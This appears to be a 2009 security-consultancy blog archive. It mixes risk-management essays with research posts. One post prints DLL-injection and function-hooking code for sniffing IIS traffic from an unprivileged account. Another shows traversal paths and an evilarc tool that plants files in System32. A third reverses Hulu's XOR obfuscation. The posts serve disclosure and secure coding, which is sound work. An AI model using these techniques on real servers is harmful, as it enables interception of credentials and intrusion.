Enterprise, or Opportunity Risk Management?

July 2, 2009

The Enterprise Risk Management (ERM) market seems to have been driven by the Finance & Banking (F&B) sector’s interpretation of what ERM means. They have taken their traditional risk methodology in the areas of Credit, Market and Operational risk management and extended that out to other areas of their businesses and called that ERM. But, for true ERM, the F&B institution’s methodology for managing risk is applying too much emphasis on backward-looking analysis of loss, as opposed to a more forward-looking speculation about potential loss (or risk) in future. Historical analysis of actual loss is of course a significant indicator of further loss in future, but only where defined losses are to be expected, such as in the areas of insurance or the provision of credit, or speculation into markets etc.

However, such a methodology doesn’t provide a sound analytical basis for those less frequent and possibly more drastic events, or those events where historical loss data doesn’t exist, which applies to the general operations of most businesses today.

So, in F&B, risk management has become very much a science, but for areas of risk outside the realms of credit, market and banking operations, and without the benefit of hindsight and a loss history, it is very much an art today.

Perhaps analyzing some of the more accepted definitions of risk will help us to figure out where and how we should be focusing our risk assessment efforts, acronyms aside:

Wikipedia by its very nature takes a broad view, not specifically in the context of business, and states simply that “risk is a concept that denoted the precise probability of specific eventualities”. Interestingly Wikipedia’s definition of risk continues by stating that risk can be defined as “the threat or probability that an action or event, will adversely or beneficially affect an organization’s ability to achieve its objectives” Hmmm, so immediately Wikipedia is recognizing that we have to tie our speculation of loss to our desire to achieve stated objectives; in other words, realizing our opportunities.

Corporate Integrity, a leading Global advisory on Governance, Risk and Compliance succinctly defines Risk as “the effect of uncertainty on business objectives”. Again, focusing on what a company is endeavouring to achieve through the realization of its opportunities.

So, how about substituting the word ENTERPRISE and replace it with OPPORTUNITY? After all, businesses are in business to profit from opportunities, and given that the above definitions of risk relate its management to the achievement of those objectives, it would seem that this has to be the basis of risk analysis.

However, this would provide us with ORM instead of ERM as an acronym for the management of risks in our business, but unfortunately, ORM is already generally accepted as meaning Operational Risk Management, which is a term well understood and accepted in the F&B world because it is a component part of the Basel II Capital Accord. This might explain the route cause of the problem!

F&B understands Operational Risk Management in Basel II terms and by extending that across the enterprise they assume it to be Enterprise Risk Management, but, as stated previously the methodology used is driven by the analysis of losses, not the analysis of risks to the achievement of objectives, goals or opportunities.

It is correct that loss analysis is an excellent way of predicting likely loss in future, but as noted earlier only if an extensive loss history exists. This is the key point. In most businesses the loss history does not exist or is very limited, and even in the F&B industry it is limited to the scope of Basel II, which does not cover business risks such as supply-chain, internal operations such as HR or reputational risks and many other risk areas.

So, whilst extensive loss history can help us to add some science to the art of risk management across the enterprise, the fact is that an extensive history of losses does not exist for most businesses, so the only viable methodology is to start with understanding a businesses strategy, its objectives, its opportunities, and trying to quantify what will prevent the company achieving those. i.e. what are the risks to the realization of opportunities.

Opportunity Risk Management (ORM).


Security Fitness in Lean Times

June 18, 2009

I recently had the opportunity to spend a little downtime with a colleague who does a lot of writing and thinking about security. As we talked about what crashing economies, tightening budgets, and 2009 in general might mean to IT security, he made an interesting statement,”There is no such thing as a security diet pill.”

We’d seen so many security programs fail, not because of a lack of resources, but because of a lack of discipline or understanding. They had been operating like someone who is furiously trying to get in shape purchasing fitness products and diet books in bulk. The results were exactly what you’d expect, some initiatives worked great for a short while. However, in time, most became exercises in installing the newest exciting product or were abandoned all together due to the pace of business. Technology was courted as a series of solutions instead of what it is, a tool for getting the most out of the work you put in.

So here we are with the same goal we’ve had for a while. The budgets are shrinking and the problem isn’t. Time to put our feet up on the dusty weight bench, have a cheeseburger, and resign ourselves to the way things are, right?

Or maybe we can look at this as an opportunity. Perhaps this is a good time to take stock.

Measuring initiatives by the budgets they carry or the technology they purchased isn’t going to resonate with upper management the way it once might have. Fiscal tightness will start to require security fitness. We know the tools are laying around, we bought them all. Now may be a good time to make sure we’re using them the best we can. Now is a good time to make sure we’re putting in the work.

See your Doctor Before Starting any Program

What are your true security strengths? What are your weaknesses? What are you trying to protect? Are all your assets of equal value? The answers to these questions should be your guide going forward. This is also the point where you need to ensure you’re taking an honest look at the situation. With the resources you’ve already amassed, what is your capability? Politics has no place here.

Set Realistic Goals

If you don’t even have an IDS in place, don’t create a mandate that every packet in the network will be tracked by next quarter. Understand the limitations imposed by your business, your current capability, and your culture. Realize that changes, especially ones involving adding restrictions or controls, take time to adopt. The bright side is that you’re first goal is to use the technology and systems you’ve already paid for more efficiently. Install the IDS. Update it. Tune it. Integrate the data with your vulnerability scanner to create a more accurate risk profile.

Maintain a Healthy Diet

Fear, Uncertainty, and Doubt are the hallmarks of an unhealthy security diet. News channels propagate this. Conferences do their share. Industry trade magazines don’t help. The net result is security programs that think they are being reactive to cutting edge threats, but are never truly increasing their over all security. Gartner declares IDS is dead; IPS is the new future. You mean IDS with blocking? So everyone upgrades and tears out the infrastructure. Attention isn’t paid to the original problem. Nobody ever upgrades the signatures. Nobody ever looks at the alerts. Before you spend resources looking into Vishing attacks, ask yourself if you have any assets exposed by attacks on an automated call system? Is that exposure more critical than the current initiatives?

There’s no Substitute for Exercise

I haven’t seen anyone talking about security as a continuous process lately. I’ve heard about programs, initiatives, even sprints. At its core though, security is something that should be part of the organization and the culture. Evaluation and improvement of the system should be done through continuous movement. Small steps with a commonly understood purpose. The guidance of Security Offices should become integrated into the business operations of the organization. Monitoring the effectiveness and providing honest, actionable feedback should become routine. Eventually, testing of the system will become a non-event. It’ll already be in shape.


COSO II Event Identification will be a significant challenge for companies

June 2, 2009

COSO’s improvement to COSO II, sometimes referred to as COSO ERM, added requirements for objective setting, risk identification, management & reporting, as well as risk treatment and event identification. These would be regarded as the basic elements of a good ERM (Enterprise Risk Management) program, and tying these into COSO integrates the already established control framework around those ERM practices.

Sounds good! It is good, or at least a good starting point, I believe. A far more granular assessment to derive a risk level is needed if this is to become truly scientific, but that’s for another blog topic!

The issue now is that whilst most companies will probably be able to implement just about all the elements of COSO II, there is one that I believe will be a significant challenge, the ‘Event Identification’ element.

Under COSO II, Event Identification encompasses incidents (internal or external) that can have a negative (or positive – so perhaps opportunities?) effect. Much like under Basel II Operational Risk analysis, the benefit of hindsight determines or assists the prediction of future risk. So, effectively, to adhere to COSO II a company must identify and quantify incidents within the ERM framework, such that predictions of risk can be assisted by knowledge of actual loss in the past.

This is a whole new set of business processes and responsibilities that certain individuals must accept as part of their regular employment descriptions. But it is more complicated than that, because internal systems and processes will need to be developed to help those individuals to obtain the correct data to support event identification.

Take a simple example in IT. Let’s assume we are a pharmaceutical company, and a system falls victim to a security breach. On that system is 20 years of clinical trial information for a product and we know that an outside organization has potentially accessed that IP. Who’s responsibility is it to recognize that the incident has occurred? Who decides what the cost to the organization is? Who’s responsibility is it to capture that information? Who’s responsibility is it to identify the business and technical risks associated with the incident? Who’s responsibility is it to decide what actions should be taken as a result of the incident to prevent it happening again?

Even for this fairly tangible event, there are a whole set of new processes, policies, documentation and responsibilities that need to be in place to properly implement Event Identification.

So much so, that I contend most companies should not declare COSO II compliance, just yet.


Unprivileged Sniffing

May 18, 2009

The standard attack path against a hardened system almost invariably involves escalating privileges locally. Privileged access allows the attacker to do things like access all data on the server, sniff network traffic, and install root kits or other privileged malware. Typically, one of the goals of host hardening is to limit the damage that an attacker can do who has gained access to an unprivileged account. “Successfully” hardening a web server, for example, involves preventing the account used by the httpd service/server from modifying the source code of the application it hosts.

Imagine a web server that handles sensitive information, let’s say credit card numbers. This application runs through an interpreter invoked by a web server running as an unprivileged user. No matter how this data is encrypted when at rest, if it can be decrypted by the application, an attacker with the ability to invoke an arbitrary process at the same privilege level as this application will be able to recover the data. This is not true however of data which is stored as a hash or encrypted using an asymmetric public key where the private key is not present. In these cases an attacker is often forced to escalate local privileges to sniff data in transit either via network sniffing, or modifying encryption libraries. Even when data is stored in a retrievable format, especially on hardened systems, recovering this ultimately obfuscated data can be a daunting task for an attacker. Many applications now employ a multi-tiered approach which requires a significant amount of time and effort to attack and gain access to the critical keys or algorithms.

Given the architecture of Windows servers however, it is possible, via access to an unprivileged account such as Local Server, to implement a form of unprivileged sniffer which will monitor sensitive information as it is passed through the target application. This can be implemented in a way which would allow an attacker to trivially monitor all data in motion through the application. In the case of a web application this would include any parameters within a request, data returned by the server, or even headers like those used for basic authentication. This method is generic across applications and can be used to sniff encrypted connections.

The unprivileged sniffer doesn’t employ any tactics that are strictly new and although we haven’t seen this implemented in malware to date it wouldn’t be surprising if something similar has been done. The implementation I will describe is effective against IIS 6 but similar things could be implemented for other applications (SQL Server and Apache come to mind).

The first challenge in hooking into an IIS worker process or Application Pool (w3wp.exe) is knowing when it will start. A request coming into IIS is handled by the W3SVC service and passed off to an Application Pool via a named pipe. The service will either instantiate a new worker process passing the pipe name as an argument or assign the connection to an existing worker. The difficulty is that as the “Local Server” user we can not hook into the W3SVC itself so we must either constantly watch for new instantiations of ‘w3wp.exe’ or have some way of knowing when they start. By monitoring named pipes using the undocumented API ‘NtQueryDirectoryFile’ we can watch for the creation of pipes that start with ‘iisipm’. A pipe will be created each time a new worker is initialized giving us a head start hooking the new process.

Now that we know a process will be created we can do a standard library injection using code similar to the following to identify it and inject our sniffer. In this code LIBNAME represents the name of the DLL to inject.

PROCESSENTRY32 entry;

HANDLE snapshot;

BOOL r = FALSE;

DWORD TargetPID = NULL;

HANDLE Proc;

LPVOID LoadLibAddr, RemoteName;

/* Find the PID of the “w3wp.exe” process. */

entry.dwSize = sizeof(PROCESSENTRY32);

if ((snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, (unsigned long)NULL)) != INVALID_HANDLE_VALUE) {

for (r = Process32First(snapshot, &entry); r; r = Process32Next(snapshot, &entry)) {

if (strstr(entry.szExeFile, “w3wp.exe”)) {

TargetPID = entry.th32ProcessID;

}

}

CloseHandle(snapshot);

}

if (!TargetPID) return;

/* Open the process */

if ((Proc = OpenProcess(PROCESS_CREATE_THREAD|PROCESS_QUERY_INFORMATION|PROCESS_VM_OPERATION|PROCESS_VM_WRITE, FALSE, TargetPID)) == NULL) return;

/* Get the address of “LoadLibraryA” to use as our remote thread procedure */

if ((LoadLibAddr = (LPVOID)GetProcAddress(GetModuleHandleA(”kernel32.dll”), “LoadLibraryA”)) == NULL) goto out;

/* Allocate a block of memory within “w3wp.exe” to hold the name of the DLL we are injecting and copy it in */

if ((RemoteName = (LPVOID)VirtualAllocEx(Proc, NULL, strlen(LIBNAME) + 1, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE)) == NULL) goto out;

if (!WriteProcessMemory(Proc, (void *)RemoteName, LIBNAME, strlen(LIBNAME) + 1, NULL)) goto out;

/* Create a thread within “w3wp.exe” which will load our DLL into memory */

CreateRemoteThread(Proc, NULL, (unsigned long)NULL, (LPTHREAD_START_ROUTINE)LoadLibAddr, (void *)RemoteName, (unsigned long)NULL, NULL)

out:

CloseHandle(Proc);

We now have our library loaded into the address space of the worker process. When this occurs the entry point of our library will be called. We will use the concept of a trampoline to hook certain calls within the w3wp process. Specifically IIS uses a library called HTTPAPI for passing around HTTP requests and responses. By hooking into the following calls we can examine requests and responses passed through this worker.

  • HttpReceiveHttpRequest
  • HttpReceiveRequestEntityBody
  • HttpSendHttpResponse
  • HttpSendResonseEntityBody

As an example the following stub shows one way of hooking ‘HttpReceiveHttpRequest’.

/* This will store the address of the HttpReceiveHttpRequest function */

typedef ULONG (*HttpReceiveHttpRequestType)(HANDLE, ULONGLONG, ULONG, PHTTP_REQUEST, ULONG, PULONG, LPOVERLAPPED);

HttpReceiveHttpRequestType HttpReceiveHttpRequestSaved;

/* The trampoline structure is used to save both the original 6 bytes of the function we are hooking and the new instructions we replace them with */

typedef struct _trampoline {

char push;

void *func;

char ret;

} Tramp, *PTramp;

Tramp HRHR, oldHRHR;

HMODULE lib;

SIZE_T i;

/* Ensure that HTTPAPI.dll has been loaded */

lib = LoadLibraryA(”HTTPAPI.dll”);

/* Save the address of “HttpReceiveHttpRequest” */

HttpReceiveHttpRequestSaved = (HttpReceiveHttpRequestType)GetProcAddress(lib, “HttpReceiveHttpRequest”);

/* 0×68 is the x86 PUSH instruction */

HRHR.push = 0×68;

/* We are pushing the address of our hook */

HRHR.func = (HttpReceiveHttpRequestType *)&HttpReceiveHttpRequestHook;

/* 0xC3 is the x86 RETN instruction which will pop the value we just pushed and jump to that location. This effectively hijacks the flow of execution */

HRHR.ret = 0xC3;

/* We then read the original 6 bytes of the HttpReceiveHttpRequest function */

ReadProcessMemory(GetCurrentProcess(), HttpReceiveHttpRequestSaved, &oldHRHR, 6, &i);

/* And replace it with our trampoline code */

WriteProcessMemory(GetCurrentProcess(), HttpReceiveHttpRequestSaved, &HRHR, 6, &i);

We have now replaced the first six bytes of the ‘HttpReceiveHttpRequest’ function mapped within the ‘w3wp.exe’ process to redirect the flow of execution into our hook procedure. Now by creating a hook we can sniff any data passed through this function by implementing code similar to the following.

ULONG HttpReceiveHttpRequestHook(HANDLE ReqQueueHandle, ULONGLONG RequestId, ULONG Flags, PHTTP_REQUEST pRequestBuffer, ULONG RequestBufferLength, PULONG pBytesReceived, LPOVERLAPPED pOverlapped) {

ULONG ret;

SIZE_T i;

HANDLE log;

/* First we replace the first 6 bytes of the real ‘HttpReceiveHttpRequest’ function with their original value */

WriteProcessMemory(GetCurrentProcess(), HttpReceiveHttpRequestSaved, &oldHRHR, 6, &i);

/* We then call the real function and save the return value */

ret = HttpReceiveHttpRequestSaved(ReqQueueHandle, RequestId, Flags, pRequestBuffer, RequestBufferLength, pBytesReceived, pOverlapped);

/* At this point all data with the HTTP_REQUEST stored at pRequestBuffer is valid and can be saved to a file or sent out over the network. This data includes the request headers and Get parameters passed with the request */

/* After we have performed our sniffing operations we write our trampoline back into the real function */

WriteProcessMemory(GetCurrentProcess(), HttpReceiveHttpRequestSaved, &HRHR, 6, &i);

/* And return the saved return value */

return ret;

}

If similar hooks were implemented for each of the functions listed above all information in and out of IIS could be sniffed in a way which is generic to the web application being used.

Although this implementation is deliberately incomplete it demonstrates one use case for an unprivileged sniffer. This type of attack is possible in Windows due to  specifics of process creation and how privileges are dropped. It is worth mentioning that a similar attack is generally not possible in similar Linux services. In Linux the ability to ptrace a process is controlled by the dumpable flag within the mm member of the process’ task_struct. When privileges are dropped the dumpable flag is unset and this is inherited when a fork or execve occurs. This prevents the owning user of the resulting process from modifying the process’ execution. Because lower privilege workers are not newly created processes in Linux but rather inherit their task_struct from the root owned parent, they are not debuggable by the lower privileged worker account.

We are not currently aware of a way of preventing this type of attack. The Windows privilege structure, and individual privileges such as the seDebugPrivilege are not designed to prevent access to the owning user. If a fix is possible it would likely relate to the creation of the worker processes and would require modification of the individual applications. If you have an idea for a fix please let us know.


The case for extending XBRL to encompass a Risk and Control taxonomy

May 1, 2009

Through the SEC’s ‘21st Century Disclosure Initiative‘ announced in January 2009, and their demand that Fortune 500 companies start XBRL tagging of financial statements and footnotes this year, it’s clear that greater transparency associated with financial reporting and transactions is seen as one of the steps towards improving the ability of investors and lenders to analyse and compare reports of financial performance and strategic declarations. By adopting such a standard, the SEC is seeking to provide investors and lenders with greater confidence in the results of their analysis because there is a defined taxonomy that ensures they are analysing and comparing apples to apples in all aspects of relevant financial statements.

That’s good, it’s helpful and the derived confidence will be further enhanced through the involvement of an Assurance Working Group (AWG) that is co-operating with the International Audit and Assurance Standards Board (IAASB) to develop standards around how XBRL information can be audited.

Whilst XBRL was initially designed to allow standard tagging of financial reporting, it also can be used for financial statements around transaction information, discrete projects and initiatives, etc. It would seem, therefore, that if XBRL tagging could be extended to encompass risk and control information by introducing an extended taxonomy for that, then, perhaps, a far more meaningful value could be associated with those financial statements, or the validity of them could be better trusted.

When Credit Default Swaps (CDS) were sold on, and on, and on, imagine if along with the financial details of the transaction there was a clear statement about the associated risks, along with details of what mitigation measures were in place and how effective they were likely to be. Surely, that would have allowed the prevention of them being significantly over valued or at least recognition that they were being overvalued despite their associated risks.

Ultimately the whole issue of trust is at the hub of the financial crisis we find ourselves in and, interestingly, it parallels an observation that the American economist John Kenneth Galbraith made in 1954. He observed that fraud can be easily hidden in the good times, yet it gets revealed in the bad times, which he called the ‘bezzle’. With reference to the great crash of 1929 he wrote,”In good times people are relaxed, trusting, and money is plentiful. But even though money is plentiful, there are always many people who need more. Under these circumstances the rate of embezzlement grows, the rate of discovery falls off, and the bezzle increases rapidly. In depression all this is reversed. Money is watched with a narrow, suspicious eye. The man who handles it is assumed to be dishonest until he proves himself otherwise. Audits are penetrating and meticulous. Commercial morality is enormously improved. The bezzle shrinks.” He also observed that “the bezzle is harder to hide during a tougher economic climate” because of the demand for increased scrutiny.

Applying a similar theory to our CDS example, in the good times the bezzle was large, and there were high levels of trust between the banks and asset management companies, thus, nobody really worried about the increasing risks. But now the bezzle has been revealed, trust has all but disappeared and the market has stagnated.

Hence, it is my belief that additional assurance will be required around financial reporting, particularly with specific transactions, such that a high level of trust can be regained. This will not occur through a high bezzle which exists due to positive market conditions. Rather, it will occur through qualified assurance and tangible evidence of the levels of associated risks and how effectively they are being mitigated. Taking the CDS situation as an example, if the level of associated risk and the efficacy of the control strategy accompanies the transaction the buyer will be better informed and the information will have higher trust.

In my view, therefore, the XBRL taxonomy must extend to include taxonomy around risk and control information.


Directory Traversal in Archives

April 21, 2009

By: Greg Ose and Patrick Toomey

I’m sure on the top of everyone’s list of resolutions from the New Year is the ever forgotten “I will write more secure code” and it seems that each year this task gets harder. With more complex and abstracted frameworks and APIs, the ways security related bugs are being introduced to a code base has become equally complex and abstracted. Being a few months into 2009, hopefully we can help you catch up on your resolutions by presenting something else to look for when reviewing or writing secure code.

In recent engagements, we have run into a slew of issues focusing around the well-known vulnerability of directory path traversal. As a refresher, this typically involves injecting file path meta-characters into a filename string to reference arbitrary files and usually results in the modification or disclosure of files on the system. For example, a user supplies the filename /../../etc/passwd which is appended to the path /tmp/uploaded_pictures and ends up referencing the password file instead of a file under the intended directory.

We all know, or at least should know, what a typical directory traversal vulnerability and exploit looks like, however, we have recently seen these issues manifest themselves in the handling of user-provided archive files instead of file path strings. Typically, these user provided files are sent via HTTP uploads. Almost all of the common high-level application APIs provide a means, or a third-party library, to handle archive files. Additionally, almost all of these libraries do not check for potential directory path traversal when they perform the extraction of these files. This puts the liability on the developer to check for malicious archives. While file operation calls with a user controlled variable may be obvious, filenames within user-controlled archives may be the vulnerability that slips by. Developers should not only validate user supplied file paths for directory traversal, but also check file paths included in archive files. As a note, this type of vulnerability has been mentioned before and is not groundbreaking by any means, but we want to take a detailed look into what to be aware of as a developer and how to test for this during vulnerability assessments.

To get started lets take a look at an example provided by Sun themselves (!!!) in a technical article for the java.util.zip package. Code Sample 1 from the article provides their base example for extracting an archive and is shown below.

import java.io.*;
import java.util.zip.*;

public class UnZip {
  final int BUFFER = 2048;
  public static void main (String argv[]) {
    try {
      BufferedOutputStream dest = null;
      FileInputStream fis = new FileInputStream(argv[0]);
      ZipInputStream zis = new ZipInputStream(
                               new BufferedInputStream(fis));
      ZipEntry entry;
      while((entry = zis.getNextEntry()) != null) {
        System.out.println("Extracting: " +entry);
        int count;
        byte data[] = new byte[BUFFER];
        // write the files to the disk
        FileOutputStream fos = new FileOutputStream(
                                   entry.getName());
        dest = new BufferedOutputStream(fos, BUFFER);
        while ((count = zis.read(data, 0, BUFFER)) != -1) {
          dest.write(data, 0, count);
        }
        dest.flush();
        dest.close();
      }
      zis.close();
    } catch(Exception e) {
      e.printStackTrace();
    }
  }
}

We can see where the vulnerability manifests itself in processing each entry of the provided ZIP file:

FileOutputStream fos = new FileOutputStream(entry.getName());

entry is the current ZIP entry being processed and getName() returns the filename stored in that entry. After retrieving this filename, the uncompressed data is written to its value. We can see that by using directory traversal in the filename a malicious user may be able to make arbitrary writes anywhere on the filesystem. Unfortunately, on most platforms, if an attacker can arbitrarily write files they can most likely also get arbitrary code executed on the affected server.

Similar issues exist with a number of ZIP library implementations across various languages. As one might expect, the equivalent Python code is far less verbose. While Python doesn’t provide any sample code, a simple, and vulnerable, ZIP extraction would look as follows:

from zipfile import ZipFile
import sys
zf = ZipFile(sys.argv[1])
zf.extractall()

The extractall method does what one would expect it to do, except that it does not check for directory traversal in the ZIP entries’ file paths. Python also provides equivalent objects for handling tar archives. Interestingly, the tar archive library documentation does make mention of the risk associated with path traversal within archive files. The documentation for the extractall method states:

Warning: Never extract archives from untrusted sources without prior inspection. It is possible that files are created outside of path, e.g. members that have absolute filenames starting with “/” or filenames with two dots “..”.

How about PHP, surely they provide a function to work with ZIP files (what don’t they have a function for). The PHP manual provides the following example code for extracting ZIP files.

<?php
$zip = new ZipArchive;
$res = $zip->open('test.zip');
if ($res === TRUE) {
  echo 'ok';
  $zip->extractTo('test');
  $zip->close();
} else {
  echo 'failed, code:' . $res;
}
?>

Sure enough, this code is also vulnerable to file path manipulation within the archive.

What about everyone’s favorite language du jour, Ruby? Ruby itself does not have ZIP file extraction built in to the language’s core library. However, rubyzip is a popular third-party library and like the prior libraries, is also vulnerable to directory traversal. The example below was stated in a post by the library’s author as how to extract a ZIP file and all of its directories:

require 'rubygems'
require 'zip/zipfilesystem'
require 'fileutils'

OUTDIR="out"

Zip::ZipFile::open("all.zip") {
  |zf|

  zf.each { |e|
    fpath = File.join(OUTDIR, e.name)
    zf.extract(e, fpath)
    FileUtils.mkdir_p(File.dirname(fpath))
  }
}

Finally, similar to Ruby, the .Net environment does not have ZIP archive handling built in to the core library. A quick googling for “.Net zip files” leads to an article on MSDN. In this article, the authors detail this gap in the .Net library and then go on to present a solution. The tools released include a signed DLL for use during development and a set of command-line utility programs that utilize the library. One of these command-line utilities is Unzip.exe. Sure enough, Unzip.exe is vulnerable to path traversal within an archive. No warning is presented and the archive is extracted without concern to the fully resolved path of the files within the archive.

How do mainstream, standalone, compression utility programs handle this vulnerability? We tested a large number of archive extraction programs (Winzip, Winrar, command line Info-Zip, unzip on Unix, etc) and noted that all of them either provide a warning when a ZIP file entry contains directory traversal, escape the meta-characters, or just ignore the traversed directory path all together.

When writing code that interacts with archives, the same precautions used by mainstream extraction utilities must be performed by the developer. As with any user-controlled input, the directory filenames should be validated before being processed by any file operation. The developer should verify that path traversal characters do not occur in any entries within the archive. Similarly, the developer may also leverage utility functions within their language to first determine the fully resolved path before extracting an entry (ex. os.path.normpath(path) in Python).

A more drastic mitigation, though perhaps the better long-term solution, would involve modifying these default libraries to work similarly to their standalone application counterparts by default. It is extremely rare to require path traversal characters in a legitimate archive. Perhaps, the libraries should be modified to secure the common case, requiring a developer to explicitly request the atypical case. For example, what if the Python ZipFile object changed its default behavior to throw an exception in the presence of file traversal characters? The extractall method signature could be modified as follows:

ZipFile.extractall([path[,members[,pwd[,allow_traverse]]]])

By default the allow_traverse is set to False, throwing zipfile.BadZipfile if path traversal characters are encountered. This would provide a secure by default configuration for the library while still allowing the existing behavior if necessary. This requires the developer to explicitly request support for path traversal, thus mitigating accidental and insecure usage. This is unlikely to impact existing code, as archives with path traversal characters are not easy to create and it is extremely unlikely a legitimate archive would accidentally include such characters.

During the course of this write-up we grew tired of hand-editing zip archives in a hex-editor to add directory traversal characters. So, we put together a Python script that can be used to generate ZIP archives with path traversal sequences automatically inserted. It can create directories in both Unix and Windows environments for ZIP files (including jar) and tar files with and without compression (gzip or bzip2). You can specify an arbitrary number of directories to traverse and an additional path to append (think var/www or Windows\System32). The full usage follows:

$ ./evilarc.py --help
Usage: evilarc <input file>

Create archive containing a file with directory traversal

Options:
  --version      show program's version number and exit
  -h, --help     show this help message and exit
  -f OUT, --output-file=OUT
                 File to output archive to.  Archive type is
                 based off of file extension.  Supported
                 extensions are zip, jar, tar, tar.bz2, tar.gz,
                 and tgz.  Defaults to evil.zip.
  -d DEPTH, --depth=DEPTH
                 Number directories to traverse. Defaults to 8.
  -o PLATFORM, --os=PLATFORM
                 OS platform for archive (win|unix). Defaults
                 to win.
  -p PATH, --path=PATH  Path to include in filename after
                 traversal.  Ex:WINDOWS\System32\

The following example shows the file test.txt being added to an archive and extracted to the C:\Windows\System32 directory through the vulnerable Java class we previously discussed:

$ ./evilarc.py test.txt -p Windows\\System32\\
Creating evil.zip containing ..\..\..\..\..\..\..\..\Windows\System32\test.txt

$ java javaunzip evil.zip
Extracting: ..\..\..\..\..\..\..\..\Windows\System32\test.txt

$ ls -al /cygdrive/c/Windows/System32/test.txt
-rwxr-x---+ 1 gose mkgroup-l-d 21 Feb 24 11:52 /cygdrive/c/Windows/System32/test.txt

We have made the script available for download here:

http://www.neohapsis.com/downloads/evilarc.py


Spring Forward

April 20, 2009

As with many, the economic climate has made it challenging to publish as many interesting and insightful concepts and considerations on our blog and in articles as we’d like.   We’ve been focusing our energy on our services and product development staying steadfast in our commitments to our customers and staff.  It’s Spring though and time again to shake off the cobwebs, put on the rubber boots, and march through the mud and puddles to join the tulips and blog for a renewed beginning.

Our work is about exploring the possibilities as much as it is about identifying vulnerabilities, assessing and managing risks, and strategically advising our customers.  Our history and future, as with much of the industry, is predicated on both dotting the i’s, crossing the t’s and delving deeper into ‘why’s’ and ‘what if’s.’  It’s often about conspiring to understand the likes of:

1) Why a seemingly meaningless design, development or implementation trend may cause meaningful and unexpected repercussions in the future

2)  How best practices can come to terms with a Linux distribution when volumes of modules may be installed and loaded by default

3)  What PCI merchants should do to continually be compliant and mitigate their risks and liability

4)  How global earthquakes in the financial sector and a renewed desire to re-establish integrity and transparency may be represented logically in a series of meta-models, frameworks and content which can be visualized to articulate the complexity of associated risks

While many of our explorations have not been published in past weeks, the discussions have continued.  Along with the day to day and a new website, we’ve been researching and writing and debating and discussing findings, theories and concepts, that enlighten our days with meaning and thoughtfulness.    We have been grappling with an assortment of grandiose ideas and mundane mutterings to develop momentum and content that will provide discussions on a more regular and consistent basis.

Welcome to spring, we look forward to conversing with you and appreciate any feedback and thoughts you have that are relevant to you and your challenges.


Hulu…client-side “encryption”…seriously?

April 14, 2009

By: Patrick Toomey

I remember being pretty excited by the prospect of a service like Hulu.   The idea that major networks were actually coming together to stream mainstream video content was impressive.  It was such a departure from the locked down, share nothing, mentality of old.   I thought to myself, “Wow, does Hollywood finally get it?”. Apparently my optimism was exactly that…optimistic.

Sometime in the last week or so it was reported that Hulu, a video streaming service run by NBC and FOX, started “encrypting” Ajax responses to block unauthorized software clients (Boxee et al.) from sidestepping the hulu.com website to view content.  However, encryption is purposefully in quotes, as what Hulu actually implemented is a client-side obfuscation mechanism.  It it well known that such protection mechanisms are flawed by design and bound to be circumvented quickly.

The protective measure that is implemented rests on the obfuscation of Ajax responses made against hulu.com.  Instead of returning plaintext HTML content, Ajax requests return obfuscated URL encoded strings.  These URL encoded strings are reverted to plaintext on the client-side using JavaScript.  For example, a request to:

http://www.hulu.com/channels/Home-and-Garden?kind=videos&sort=popularity

returns a URL encoded string that begins:

dobfu__%F2%9E%84%88%EE%99%81%9F%BD%89%D0%DC …

The entire string is approximately 141KB long.  Other than the “dobfu__” prefix, the remainder of the string is URL encoded.  This obfuscated string is transformed into plaintext by a JavaScript function called “_dobfu()”.  This function, after a bit of reformatting, is reproduced below:

function _dobfu(text) {
  return text.slice(0,7)!='dobfu__'?text:
    $A(unescape(text.substring(7)).tol()).map(function(i) {
      i=0xfeedface^i;
      return String.fromCharCode(i&0xFF,i>>>8&0xFF,i>>>16&0xFF,i>>>24&0xFF);
    }
  ).join('').replace(/\+$/,'');
}

All of the above code is pretty easy to follow, save for the references to $A() and the the tol() functions.  The $A() function is a Prototype global function that creates a full array object from any other object that can pass for an array (supports indexing, etc).  This is done so that the new object inherits the full functionality of an array (the map method is needed in this case).  The second piece of ambiguous logic , the tol() method, is defined in another JavaScript file and is reproduced below:

String.prototype.tol=function(){
  var s=this;
  return $R(0,Math.ceil(s.length/4)-1).map(
    function(i){
      return s.charCodeAt(i*4)+(s.charCodeAt(i*4+1)<<8)+(s.charCodeAt(i*4+2)<<16)+(s.charCodeAt(i*4+3)<<24);
    }
  );
};

Essentially this method takes a string of bytes and creates an array of 32-bit integers from each 4-byte chunk.  For example, if the string processed in the method was “\x01\x23\x45\x67\x89\xab\xcd\xef” the method would return the array [0x67452301, 0xefcdab89].  The ordering of the individual bytes is a result of the “tol()” method parsing the data as little-endian.

So, with those two functions defined we can quickly describe how Hulu de-obfuscates responses.  The obfuscated string is broken up into 4-byte integers.  Since the length of the obfuscated string is always evenly divisible by four we are guaranteed that a string of length x will turn into an array of 4-byte integers of length x/4.  Then, for each 4-byte integer, the value is XORed with the constant “0xfeedface”.  Once XORed, the individual bytes from the integer are split apart and converted back to their equivalent ASCII value.  Finally, all trailing NULL bytes are removed from the de-obfuscated string.

It is a bit difficult to imagine what Hulu thought they might accomplish with the above scheme.  It effectively does nothing to prevent third-party tools from performing the same obfuscation/de-obfuscation.  Any scheme that attempts to implement client-side “decryption”, particularly in JavaScript, is bound for failure.  The client possesses the obfuscated message, the key to de-obfuscate the message, and the Javascript that executes the algorithm.   Using these components, it is a trivial exercise to transform any obfuscated response back into plaintext.  Hulu likely thwarted unauthorized software for the better part of an afternoon and no more.  Client-side security mechanisms simply don’t work.  Even complex systems implemented in native code, such as popular DRM schemes, that may go unbroken for a period of time, will eventually be circumvented.  However, to implement a similar preventative measure in JavaScript lowers the difficulty of circumvention dramatically.

Beyond the technical discussion there is also a more broad question to be asked.  What was the net gain for Hulu?  They failed to accomplish their implicit goal: to block unauthorized software.  Hulu simply received another  bit of bad press for treating their customers like thieves.  Hulu, and other such services, need to realize that the ubiquitous availability of their content will ultimately grow their fan base.  There is ever increasing competition for a viewer’s eyes and ears.  Podcasts, YouTube, gaming, etc are all competing.  Third-party products, such as Boxee, only serve to increase the ubiquity of their content, which shouldn’t be viewed as a bad thing.  Thwarting their own customers only sours the experience and reinforces the presumption that a good chunk of the entertainment industry just doesn’t get it.  Besides being bad security, this latest debacle is just bad business.


About CVE-2009-1151

April 6, 2009

